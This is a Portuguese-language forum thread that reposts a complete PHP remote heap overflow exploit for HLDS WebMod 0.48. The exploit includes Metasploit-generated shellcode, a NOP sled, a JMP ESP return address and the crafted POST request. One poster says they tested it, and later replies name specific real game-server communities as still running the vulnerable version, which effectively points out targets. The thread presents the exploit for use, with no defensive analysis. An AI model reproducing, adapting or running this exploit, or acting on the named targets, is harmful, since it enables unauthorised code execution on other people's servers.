HLDS WebMod 0.48 (rconpass) Remote Heap Overflow Exploit

[Joey]

Código Selecionar Expandir

<?php
## HLDS WebMod 0&#46;48  (rconpass) Remote Heap Overflow Exploit
## Tested on HLDS Launcher 4&#46;1&#46;1&#46;1, WebMod 0&#46;48, Windows XP SP2 Hebrew
## shir, skod&#46;uk [at&#93; gmail [dot&#93; com
## 17/12/2007

## Registers (rconpass = "A"x16444)&#58;
# EAX 67E04955 w_mm&#46;67E04955
# ECX 41414141
# EDX 41414141
# EBX 0000000A
# ESP 08F650FC
# EBP 08F726D4
# ESI 08F72734
# EDI 00000000
# EIP 67E0498C w_mm&#46;67E0498C
#########


error_reporting(7);
ini_set("max_execution_time",0);

if($_SERVER['argv'&#93;[1&#93; && $_SERVER['argv'&#93;[2&#93;) {
$host = $_SERVER['argv'&#93;[1&#93;;
$port = $_SERVER['argv'&#93;[2&#93;;
} else {

echo ("\r\nHLDS WebMod 0&#46;48 Remote Heap Overflow Exploit\r\n");
echo ("Written by shir, skod&#46;uk\x40gmail\x2Ecom\r\n");
echo ("Usage&#58; php {$_SERVER['argv'&#93;[0&#93;} IP PORT\r\n");
echo ("Example&#58; php {$_SERVER['argv'&#93;[0&#93;} 192&#46;168&#46;0&#46;100 27015\r\n");
exit();
}

echo "[~&#93; Packing&#46;&#46;&#46;\r\n";


$scode = "\x66\x83\xC0\x04\xFF\xE0"; /*ADD EAX, 4 => JMP EAX*/

# win32_bind - Calc executer&#46; Metasploit&#46;com
$shellcode =
"\x33\xc9\x83\xe9\xde\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xf4"&#46;
"\x47\xba\xa4\x83\xeb\xfc\xe2\xf4\x08\xaf\xfe\xa4\xf4\x47\x31\xe1"&#46;
"\xc8\xcc\xc6\xa1\x8c\x46\x55\x2f\xbb\x5f\x31\xfb\xd4\x46\x51\xed"&#46;
"\x7f\x73\x31\xa5\x1a\x76\x7a\x3d\x58\xc3\x7a\xd0\xf3\x86\x70\xa9"&#46;
"\xf5\x85\x51\x50\xcf\x13\x9e\xa0\x81\xa2\x31\xfb\xd0\x46\x51\xc2"&#46;
"\x7f\x4b\xf1\x2f\xab\x5b\xbb\x4f\x7f\x5b\x31\xa5\x1f\xce\xe6\x80"&#46;
"\xf0\x84\x8b\x64\x90\xcc\xfa\x94\x71\x87\xc2\xa8\x7f\x07\xb6\x2f"&#46;
"\x84\x5b\x17\x2f\x9c\x4f\x51\xad\x7f\xc7\x0a\xa4\xf4\x47\x31\xcc"&#46;
"\xc8\x18\x8b\x52\x94\x11\x33\x5c\x77\x87\xc1\xf4\x9c\xb7\x30\xa0"&#46;
"\xab\x2f\x22\x5a\x7e\x49\xed\x5b\x13\x24\xdb\xc8\x97\x47\xba\xa4";

$evilcode = str_repeat("\x90", 100);
$evilcode&#46;= $shellcode;
$evilcode&#46;= str_repeat("\x90", 16156-(strlen($shellcode)));

$evilcode&#46;= "\xFD\xAF\x6A\x07"; #076AAFFD   FFE4 => JMP ESP (cstrike\dlls\mp&#46;dll)


$evilcode&#46;= str_repeat("\x90", 60-(strlen($scode)));
$evilcode&#46;= $scode;
$evilcode&#46;= str_repeat("\x90", 8);
$evilcode&#46;= str_repeat("0", 72);
$evilcode&#46;= str_repeat("%00", 4);
$evilcode&#46;= str_repeat("0", 4);
$evilcode&#46;= "\x20\xF0\xFD\x7F"; #Windows PEB Lock Pointer
$evilcode&#46;= str_repeat("%00", 8);

$post = "rconpass=" &#46; $evilcode &#46; "&setcookiesNULL=rconpass";

$pack = "POST /auth&#46;w?redir= HTTP/1&#46;1\r\n";
$pack&#46;= "Host&#58; {$host}&#58;{$port}\r\n";
$pack&#46;= "User-Agent&#58; Mozilla/5&#46;0\r\n";
$pack&#46;= "Accept&#58; */*\r\n";
$pack&#46;= "Accept-Language&#58; en-us,en;q=0&#46;5\r\n";
$pack&#46;= "Accept-Encoding&#58; gzip,deflate\r\n";
$pack&#46;= "Accept-Charset&#58; ISO-8859-1,utf-8;q=0&#46;7,*;q=0&#46;7\r\n";
$pack&#46;= "Keep-Alive&#58; 300\r\n";
$pack&#46;= "Connection&#58; keep-alive\r\n";
$pack&#46;= "Content-Type&#58; application/x-www-form-urlencoded\r\n";
$pack&#46;= "Content-Length&#58; "&#46; strlen($post) &#46;"\r\n\r\n" &#46; $post;

echo "[~&#93; Sending&#46;&#46;&#46;\r\n";

$sock = @fsockopen($host, $port, $errno, $errstr, 10);
if ($errstr)
echo("[-&#93; Can't connect {$host}&#58;{$port}\r\n");
else {
fputs($sock, $pack);
$tmp = fgets($sock,1024);
if(strstr($tmp, '<'))
echo "[-&#93; Failed, you better try again&#46;\r\n";
else
echo "[+&#93; Shellcode should be executed&#46;\r\n";
fclose($sock);
}
?>

# milw0rm.com [2008-05-03]
O exploit está funcionando perfeitamente (testei no meu próprio server =s)....

Fonte: milw0rm.com

[Synyster]

Em junho ou julho, quando eu ainda jogava cs, fiz um exploit pra mesma coisa ahouihuaoahua.

Está bem ruinzinho, eu ainda estava no começo dos meus estudos de PHP, mas no meu, eu usei a lib cURL:
http://phpfi.com/358120

Hoje em dia é raro achar servidores com Webmod 0.48, geral já atualizou. =P

syn []'s

[Joey]

Massa o seu exploit kra, achei bem interessante ele...
Os caras da CGBR (cybergamesbrasil.com.br) estão utilizando a versão 0.48 ainda...

[DeserT]

http://www.derkeiler.com/Mailing-Lists/securityfocus/bugtraq/2008-05/msg00033.html

mais vulins :D

[DeserT]

A connection games ainda usa 0.48